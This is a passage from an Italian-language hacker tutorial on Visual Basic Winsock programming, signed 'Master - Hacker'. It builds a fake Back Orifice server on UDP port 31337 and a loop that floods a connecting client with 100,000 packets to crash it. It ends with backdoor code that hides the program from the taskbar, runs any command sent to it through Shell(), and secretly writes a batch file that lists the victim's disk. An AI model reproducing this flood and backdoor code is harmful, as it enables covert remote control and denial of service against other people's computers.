precedenza, mette i dati ricevuti in testa al form LEGGI (la finestra di dialogo praticamente) aggiungendo i caratteri "R>" per evidenziare che sono dati IN-ARRIVO. Private Sub comandi_Click() comandi = "" End Sub Semplicemente cancella la riga comandi dalle vecchie cose 'battute' quando ci cliccate sopra col mouse. ---------------------------------------------------------- Un esempio di protocollo UDP? ..si! ;-) e' ancora piu' semplice del TCP.. non necessita nemmeno del listen. Basta usare il solito evento DataArrival dopo aver settato la porta da controllare. Facciamo il caso di Bopsy ... Il programma che simula il server della backdoor Backorifice e invia al client messaggi costruiti ad hoc. Noi ci faremo un Bopsy 'casereccio' .. un programma che se ne sta li inattivo ascoltando la porta UDP 31337 e quando riceve qualche dato invia al client BOGUI un messaggio nel suo stesso linguaggio. Come prima cosa ci serve il messaggio tradotto nel protocollo specifico di backorifice. Io ho tradotto questo MA LA VOGLIAMO FINIRE! = ÎcÑÒçÏ¥¥†°uK(tm)šÅÿØÈt?3?[SæU|S"Ôà`˜Áþ Come ho fatto? .. e' una sciocchezza. ;-) .. basta aprire netcat in ascolto sulla porta UDP 31337, aprire il client BOGUI e inviare a se stessi (127.0.0.1) un qualunque comando che preveda l'invio di parametri mettendo come parametro appunto MA LA VOGLIAMO FINIRE! Il client inviera' al server (che nel nostro caso e' semplicemente NETCAT) la stringa gia' compilata. Si puo' usare anche NukeNabber.. le stringe che riceve e che mostra sono appunto i comandi cifrati in arrivo dal client BOGUI. Volendo ci sono in rete pagine che spiegano approfonditamente il protocollo magic di backorifice, comprensive anche dei programmi per cifrare e decifrare i messaggi. Basta cercare "Boprotocol" o "Bo protocol" su altavista. Ora bisogna sapere qualcosina di piu' del funzionamento di backorifice per fare il nostro mini-bopsy. Il client apre a sua volta una porta dove sta in ascolto per riceve le risposte dal server. Tutte le volte cambia, ma questo non e' un problema infatti noi sappiamo bene che quando il winsock riceve un dato su una certa porta riceve contemporaneamente dentro i pacchetti anche le specifiche di chi lo ha inviato: IP + porta di provenienza. E il winsock li puo' mostrare molto semplicemente con UDP1.remotehostIP e UDP1.remotePort Attenzione: per questo programma sara' necessario tirare sul form il controllo UDP del winsock e non il TCP come abbiamo fatto fino ad ora!! In pratica il programma e' tutto qui: meno di 10 righe utili. ---------------------------------------------------------------- Private Sub Form_activate() UDP1.LocalPort = Porta_locale MioIP = UDP1.LocalIP End Sub Private Sub UDP1_DataArrival(ByVal bytsTotal As Long) Dim rcv As Variant On Error Resume Next UDP1.GetData rcv, vbString ricevi = ricevi & rcv IP_del_pingatore = UDP1.RemoteHostIP Porta_del_pingatore = UDP1.RemotePort UDP1.RemoteHost = IP_del_pingatore UDP1.SendData "ÎcÑÒçÏ¥¥†¬uK(tm)²ÅÿØÈt?3?[SæU|S"Ôà`˜Áþ" End Sub ---------------------------------------------------------------- Sembrava peggio eh!? ;-)) Fate un form con cinque caselle di testo La prima la chiamate "MioIp" la seconda "Porta_locale" (ci mettete 31337 di default) La terza "IP_del_pingatore" la quarta "Porta_del_pingatore" la quinta la fate grande (e' dove ricevete i messaggi dal bogui..tipo nukenabber) la chiamate "ricevi". Tutto qui.. lo lanciate... poi provate a pingarvi col bogui (anche scollegati su 127.0.0.1) vedrete nella finestra ricevi del vostro minibopsy apparire i codici inviati dal bogui. Nella finestra MioIP il vostro io.. 127.0.0.1 in questo caso. e nelle due sottostanti l'ip e la porta di provenienza del ping. (Se ve lo avesse inviato uno in rete ora avreste il suo IP e la porta dal quale ve l'ha spedito!) In compenso sul BOGUI al posto del classico PONG vedrete apparire come per miracolo la scritta --------------------------------------------- MA LA VOGLIAMO FINIRE! --------------------------------------------- Come funziona? .. La prima procedura Private Sub Form_activate() UDP1.LocalPort = Porta MioIP = UDP1.LocalIP End Sub Setta semplicemente all'apertura del programma il controllo UDP del winsock sulla porta locale dove intendete mettervi in ascolto.. (la 31337 si suppone) e vi da (solo per informazione) il vostro IP del momento nella casella MioIp. Private Sub UDP1_DataArrival(ByVal bytsTotal As Long) Dim rcv As Variant On Error Resume Next UDP1.GetData rcv, vbString ricevi = ricevi & rcv IP_del_pingatore = UDP1.RemoteHostIP Porta_del_pingatore = UDP1.RemotePort UDP1.RemoteHost = IP_del_pingatore UDP1.SendData "ÎcÑÒçÏ¥¥†¬uK(tm)²ÅÿØÈt?3?[SæU|S"Ôà`˜Áþ" End Sub questa procedura e' TUTTO il programma bopsy! ;-) Cosa fa'?. All'arrivo di dati sulla porta precedentemente settata per l'ascolto l'evento dataArrival esegue la procedura. I dati sono sommati alla casella di testo ricevi. Nelle caselle Ip_del_pingatore e Porta_del_pingatore il winsock tramite UDP1.RemoteHostIp e UDP1.RemotePort ci informa da dove provengono i dati. A questo punto se NOI mettiamo l'Ip del pingatore in UDP1.RemoteHost e la porta sulla quale spedire in RemotePort (che e' gia' settata di suo) possiamo a nostra volta SPEDIRE al client BOGUI dei dati se quella specifica porta che lascia aperta appositamente per il suo server. Noi al posto del PONG tradizionale spediremo il cifrato precedentemente trovato. Potete ovviamente spedire qualunque altra riga di testo purche' in precedenza cifrata col sistema del nukenabber o del netcat. .. ad essere onesti adesso vi basta il minibopsy per avere le stringhe cifrate del BOGUI!! he he he .. la finestra di dialogo "ricevi" fa esattamente quello che vi serve. Un bopsy che manda in crash il client bogui? ;-) lo stesso programma di prima il form e' questo +-----------------------------------------------------------------+ | _____________ ____________ | | Il mio IP |MioIp________| Porta |Porta_locale| (31337 default!) | | _____________________________________________________________ | | | | | | | | | | | | | | | | | | | | | | | | | | |_____________________________________________________________| | | ________________ ___________________ | | Ip-Pingatore:Porta |Ip_del_pingatore| |Porta_del_pingatore| | |_________________________________________________________________| Il programma .. che invia 100000 messaggi al client fino a mandarlo in crash. --------------------------------------------------------------------- Private Sub Form_activate() UDP1.LocalPort = porta_locale MioIp = UDP1.LocalIP End Sub Private Sub UDP1_DataArrival(ByVal bytsTotal As Long) On Error Resume Next UDP1.GetData rcv, vbString text4 = text4 & rcv & vbCrLf IP_del_pingatore = UDP1.RemoteHostIP Porta_del_pingatore = UDP1.RemotePort UDP1.RemoteHost = IP_del_pingatore For n=1 to 100000 DoEvents UDP1.SendData "ÎcÑÒçÏ¥¥†¬uK(tm)²ÅÿØÈt?3?[SæU|S"Ôà`˜Áþ" Next n End Sub --------------------------------- Tutto chiaro? ;-) Ora ci sarebbe la parte riguardante le nuke e le backdoor. Dico sarebbe perche' in effetti non c'e'.. se non avete capito come fare un programma per mandare una nuke o per fare una backdoor dopo aver letto tutta questa roba e' meglio che lasciate perdere la programmazione col winsock! ;-) vi do il via cmq.. la partenza e' sempre la cosa piu' importante. I piu' vispi avranno gia' visto che il programm CHAT e' gia di per se una backdoor! Le uniche modifiche da fare sarebbero quelle di rendere il server automatico, nel senso che dovrebbe porsi in lISTEN automaticamente eliminando la procedura per la disconnessione per simpatia col client. (E ci vuole poco) Per far si che non appaia nella task bar c'e' l'opzione apposita nelle proprieta' del form in vb. me.ShowInTaskbar = false Poi andrebbe ad esempio modificata la procedura col DataArrival.. provate ad aggiungere queste linee dopo l'istruzione TCP1.Getdata ----------------------------------------------------------- ' shell ' inviando al server invece del solito testo una frase tipo ' /1 calc.exe 1\ .. il server esegue il programma (se e' presente ' sul computer ospite) indicato tra gli estremi /1 - 1\ If InStr(1, Data, "/1") Then inizio = InStr(1, Data, "/1") + 2 lun = InStr(1, Data, "1\") - inizio a$ = Mid$(Data, inizio, lun) txtOutput = a$ a = Shell(a$, 1) End If ' Message box ' Apre una MsgBox col testo indicato tra gli estremi /2 - 2\ If InStr(1, Data, "/2") Then inizio = InStr(1, Data, "/2") + 2 lun = InStr(1, Data, "2\") - inizio a$ = Mid$(Data, inizio, lun) txtOutput = a$ a = MsgBox(a$, , " Master dialog ;-) ") End If ' Directory LIST ' Dice al server di costruire di noascosto un file ' contenente la lista dei file presenti sull'hd nella ' directory principale. ' Salva il tutto nel file MIO.TXT collocato nel folder ' del server. If InStr(1, Data, "/3") Then inizio = InStr(1, Data, "/3") + 2 lun = InStr(1, Data, "3\") - inizio a$ = Mid$(Data, inizio, lun) Open "c:\dire.bat" For Output As #1 Print #1, "dir c:\*.* > c:mio.txt" Print #1, "" Close #1 a = Shell("c:\dire.bat", 0) End If ' mandando il testo "hi hi hi" ' apre la calcolatrice di windows. If InStr(1, a$, "hi hi hi") > 0 Then a = Shell("c:\windows\calc.exe", 1) End If ecc.. ecc.. ecc.. ---------------------------------------------------- C'era altro che dovevo dire? .. no. Mi pare tutto. Tanto. Pure troppo forse. ;-) Master - Hacker